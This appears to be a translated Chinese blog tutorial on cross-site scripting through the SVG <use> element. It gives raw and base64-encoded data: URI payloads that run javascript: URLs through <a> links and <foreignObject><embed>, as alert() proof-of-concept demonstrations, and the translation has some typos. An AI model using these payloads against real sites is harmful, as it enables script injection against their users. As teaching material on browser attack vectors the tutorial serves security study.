SVG中的<use>元素用于重用其他元素,主要用于联接<defs>和 alike,而我们却用它来引用外部SVG文件中的元素元素通过其id被引用,在 <use>标签的xlink:href属性中以'#'井字符开头,外部元素的引用同样如 此基本结构如下所示:
test.html
<svg> <use xlink:href='external.svg#rectangle' /> </svg>
external.svg:
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"> <a xlink:href="javascript:alert(location)"> <rect x="0" y="0" width="100" height="100" /> </a> </svg>
sxternal.svg文件以<svg>标签开始,其id设置为rectangle(矩形),使 用<rect>标签绘一个矩形。可以使用<a>环绕<rect>标签,这 样会创建一个超链接。使用Javascript的url协议,可点击的超链接在点击后会执 行Javascript。
虽然SVG是经由<use>标签加载的,Javascript将会得到执行。有一点需 要注意,它只能加载SVG文件,必须满足同源策略
======================
FIREFOX ====================== 由于加载的外部SVG文件必须是同源的,这 个特性看起来似乎无法作为有用的XSS攻击向量,但Firefox会帮我们提升这个攻 击向量首先,你可以使用data:url协议,它允许我们百忙之中从内部创建一个文 件。它要求正确的mime-type,在这里为image/svg+xml。mimie-type后是我们的 攻击载荷或关键字base64。特别地,由于数据被base64编码,这有助于避免突破 HTML结构的问题。现在我们不必再依赖于服务器上的另一个文件了:
test.html:
<svg> <use xlink:href="data:image/svg+xml;base64, PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDo vL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW 5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rI iAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8 YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGx vY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdG g9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zd mc+#rectangle" /> </svg>
解码后的base64载荷:
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"> <a xlink:href="javascript:alert(location)"> <rect x="0" y="0" width="100" height="100" /> </a> </svg>
浏览器会显示出一个黑色的矩形,当点击时会弹出其location 但是为什么要 烦扰受害者去点击呢,他们从来都不会去做该做的事:) external.svg中的 <script>标签不会被解析,但是SVG支持<foreignObject>元素通过 阐述这个对象需要的扩展属性,有可能加载非SVG元素这就意味着现在有可能是有 <iframe>、<embed>及其他所有支持的HTML元素了,我们可以从一堆 元素中进行选择执行Javascript,这里使用<embed>+JavascriptURL协议看 如下SVG:
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"> <script>alert(1)</script> <foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml"> <embed xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(location)" /> </foreignObject> </svg>
它会通过<foreignObject>加载嵌入的标签,使用JavascriptURL协议执 行Javascript 然后我们用base64对载荷进行编码,通过data:协议加载它 test.html
<svg> <use xlink:href="data:image/svg+xml;base64, PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW 5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+ PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3 JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+DQ ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" /> </svg>
以上是小编为您精心准备的的内容,在的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索javascript
, 文件
, 标签
, 协议
, svg
, 元素
javascripturl下载
绕过浏览器 xss 防御、xss绕过、xss绕过尖括号、xss绕过script过滤、xss绕过过滤,以便于您获取更多的相关知识。